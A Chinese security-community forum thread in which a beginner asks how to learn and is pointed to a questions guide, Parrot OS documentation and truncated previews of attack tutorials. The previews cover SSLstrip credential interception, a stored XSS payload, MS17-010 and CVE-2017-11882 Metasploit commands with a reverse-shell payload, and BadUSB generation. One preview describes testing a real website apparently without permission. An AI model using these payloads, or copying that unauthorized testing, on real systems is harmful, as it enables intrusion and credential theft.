一个小白对于这个社区是完全一头雾水真不知道怎么了解怎么学习

[ct10526]

有没有大佬给我普及普及 很想学习一下😁

[EdwardChristmas]

首先，先去看一下提问的智慧

提问的智慧

作者：Eric Steven Raymond：《How To Ask Questions The Smart Way》 版本：3.9 修改时间：2013年4月13日 翻译：王刚（yafrank at 126 dot com） 翻译时间：2010年9月28日 王刚翻译版本 修改注释：陈锦辉（cnfeat at Gmail dot com） 修改注释时间：2014年5月15日 注释版本：3.9 摘要 提问在学习中占据着重要的位置，很多人对知识好奇，却收效甚少，原因他们是尚未掌握正确提问的方法，因此，我尝试修改《提问的智慧》，发布出来。原作者是Eric S. Raymond，这篇文章在黑客界拥有很高的地位，指引无数黑客前进，希望对你有用。 为何要做一个修改注释版？ 试图做出一个容易阅读，方便理解，与时俱进，可以执行的提问执行方案。 原翻译为2010年，新版2013年，时隔2年有余，原作有变； 尊重原作的复制及引用协议[1]； 原翻译很好，检查中发现有些语句不顺，语意不准，或者已不符合现在语言规范，参照王刚老师的版本进行修改； 附上自己的看法…

其次，尝试虚拟机，物理机安装并配置ParrotSecuirty OS

Parrot Project官方文档翻译及维护

官方文档 https://docs.parrotsec.org/doku.php 部分链接无法访问因为官方文档还没有完善无法翻译，我们的目的不仅仅是翻译，同样希望通过自己的力量提供并维护一份更加详细有价值的文档，来帮助使用者能够轻松的上手 帮助文档 文档是任何操作系统的一个重要部分，用来描述系统操作和程序使用的技术手册。为了创建高质量的开源操作系统，Parrot项目正在竭尽全力，以最方便的方式向所有用户提供有帮助的文档。 文档仍在编写中，我们邀请所有鹦鹉用户参与这个门户网站的创建和翻译过程。 开始使用Debian Parrot项目基于Debian GNU / Linux的测试分支，大部分Debian系统文档 同样适用于Parrot. 下面是每个鹦鹉用户应该知道的Debian资源的列表 The Debian Administrator’s Handbook, 综合用户手册 Debian Reference, 一个简洁的用户指南，重点是shell命令行 The Debian Wiki Debian 维基 开始使用Parrot 常见问题&FAQ 什么是P…

然后，开始做你想做的事情，比如

简单说说利用parrot进行SSLstrip

简单说说利用parrot进行SSLstrip [TOC] 0x00前记 今天看了个视频,学习到了如何进行 SSLstrip.我们ParrotSec作为一个渗透测试系统,在论坛里竟然没有看到这个的教程,我就来补一个缺,顺便作为学习笔记.由于刚刚学会,只知道如何操作,不懂原理.如果有知道的大神可以在评论区为大家补充. 在这里我演示会使用到 **ParrotSec**和虚拟机 Windows7. 0x01介绍 我们的目标是尝试访问使用 https 网站的用户. 路由器(网关)会把受害者的访问请求发送给我们,而攻击者会把 https 转换成 http 协议,然后扣下报文中的 用户名和 密码. 攻击者会把请求报文发回给路由器(网关). 然后路由器会把这个新的请求发送给网站,这就是大概的攻击机制. ----以上来自视频字幕 0x02具体步骤 实施攻击的时候我们需要和目标机在同一局域网,也需要获取到目标主机的ip地址. 首先我们需要打开终端,输入 ifconfig 来查看我们的网卡 ifconfig [图片] eth0代表有线网卡,wlan0代表无线网卡. 我使用到的是WiFi…

一次XSS+CSRF的组合拳进攻(CSRF+JSON)

0x00 起因 和一个高中同学聊天，无意间聊到了某个图片网 [图片] 什么？25一张？这么贵？ 本着乐于助人的精神，进网站看了看，鼠标右键确实被禁止了，不能保存图片 但是审查元素后，可以清楚的看到图片的链接，而且还是高清无水印，emmmmmm这网站做得也是没谁了 解决了高中同学的问题后，想着下午又挺无聊的，于是就拿这个网站做了一下小小的测试（好吧，其实是我不想复习，复习真的好无聊 o(╥﹏╥)o） 便有了后面的内容 PS： 前面信息收集什么的就不多说了，和本文内容也没多大关系，就直接讲重点吧 因为自己浏览器的问题，验证码加载不出来，所以后面都是用同学的账号做的测试，高强度打码 0x01 发现存储型XSS漏洞 大概逛了一下网站，最后进入了信息设置面板 [图片] 看着这么多的框，总感觉存在XSS，审查元素后发现 简介 是用<textarea>这个标签来闭合的，于是构造 payload </textarea><script>alert(/xss/)</script><textarea> 保存刷新后，成功弹出 xss [图片] 至此存储型XSS验证成功 0x…

关于两个MS17_010漏洞利用模块的区别

ms17_010_psexec这个模块号称是可以利用windows全版本的ms17_010漏洞的 但是实际测试时候发现，要使用这个模块，高级共享设置里密码保护的共享要关闭 [image] 否则执行模块会显示找不到pipe [image] 关闭之后可以正常执行,试了好几次才拿到shell… [image] [image] 但是旧的利用模块ms17_010_eternalblue没有这个限制 启用密码保护 [image] 仍然可以正常利用。。 [image] 新装的靶机，默认设置密码保护的共享是开启的,新模块利用成功率不是很高。。

Setoolkit生成BadUSB攻击向量

关于如何制作badusb参考:用Teensy++2.0制作一个简单的关机BadUSB 启动Setoolkit: setoolkit [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] Version: 7.7.5 Codename: 'Blackout' [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SE…

Office全版本漏洞CVE-2017-11882利用复现

Office全版本漏洞CVE-2017-11882利用复现 漏洞分析 POC 命令利用请参考上面poc中的内容 msf利用过程 在msf中使用模块生成hta文件 msf > use exploit/windows/office/CVE-2017-11882 msf exploit(CVE-2017-11882) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(CVE-2017-11882) > show options Module options (exploit/windows/office/CVE-2017-11882): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address…